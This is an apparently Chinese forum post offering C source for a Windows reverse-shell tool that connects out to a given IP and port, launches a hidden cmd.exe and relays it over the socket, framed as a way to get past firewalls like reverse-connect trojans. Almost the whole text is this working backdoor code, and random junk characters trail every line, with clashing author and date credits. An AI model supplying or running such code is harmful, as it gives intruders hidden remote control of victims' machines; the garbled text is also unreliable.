这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >b;o&E`\
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/* ============================== {UeS_O>(
Rebound port in Windows NT lIhP\:;S&
By wind,2006/7 8n&Gn%DvX
===============================*/ !l6Ez_'
#include P^3`znq{
#include ;{L ~|q J
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#pragma comment(lib,"wsock32.lib") |lDxk[
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void OutputShell(); CE5A^,EsB
SOCKET sClient; hr@kU x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $.+_f,tU
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void main(int argc,char **argv) \k4em{K
{ .#q]{j@Ot
WSADATA stWsaData; ohJo1}{
int nRet; a Fh9B\n
SOCKADDR_IN stSaiClient,stSaiServer; y:HH@aa)
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if(argc != 3) }AW"2<@
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); mAM:Q*a'
return; W(jOD,QMB
} }/bxe0px
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WSAStartup(MAKEWORD(2,2),&stWsaData); F G:t2ea
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wa5B;X~
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stSaiClient.sin_family = AF_INET; \; voBU
stSaiClient.sin_port = htons(0); u<['9U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ""@kBY1C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5r1u_8)'
{ A.9ZFFz
printf("Bind Socket Failed!\n"); Q]{ `m
return; PyoIhe&ep
} 6!Q,XHs
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stSaiServer.sin_family = AF_INET; ZX8AB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9,?7mgZp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1j*E/L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ro@=oyLE
{ >~;=
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printf("Connect Error!"); V8hmfV~=]P
return; d iWi0@
} OZR{+YrB^
OutputShell(); vbh 5
} L9$`zc
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void OutputShell() `N}aV Ns
{ @tIY%;Bgk
char szBuff[1024]; 2C
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SECURITY_ATTRIBUTES stSecurityAttributes; s'^sT=b
OSVERSIONINFO stOsversionInfo; 7>V*gV?v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^]NFr*'!
STARTUPINFO stStartupInfo; i+Lqj
char *szShell; 50CjH"3PZ`
PROCESS_INFORMATION stProcessInformation; %M*2 j%6
unsigned long lBytesRead; RsW4 '5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9i46u20
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?j;,:n
stSecurityAttributes.lpSecurityDescriptor = 0; ~f:"Q(f+
stSecurityAttributes.bInheritHandle = TRUE; +>ld
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iv
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7O-fc1OTv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a$5P\_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x#XxD<y
stStartupInfo.wShowWindow = SW_HIDE; G ?Hx"3:?
stStartupInfo.hStdInput = hReadPipe; &Nw[J5-"k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +O)Y7k{?C5
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GetVersionEx(&stOsversionInfo); 0VZC7@
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switch(stOsversionInfo.dwPlatformId) mpNS}n6
{ ]
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case 1: |va^lT
szShell = "command.com"; 7Bym?
break; 6~-,.{Y
default: 5.LfN{gE)
szShell = "cmd.exe"; BS=~G+/:|
break; lhPxMMS`j
} +!K*FU=).
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6HZVBZhM
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send(sClient,szMsg,77,0); A">R-1R
while(1) P]O=K
{ )x<BeD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `B~zB=}
if(lBytesRead) Ig<# {V
{ CK#i 6!~r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iwy;9x
send(sClient,szBuff,lBytesRead,0); [a_o3
} Oye6IT"
else $)eS Gslz
{ @*roW{?!
lBytesRead=recv(sClient,szBuff,1024,0); -\7_^8 am
if(lBytesRead<=0) break; 1ozb
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #5=W[+4eN
} Q- 7L,2TL
} i<(~J4}b
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return; F!fsW9
}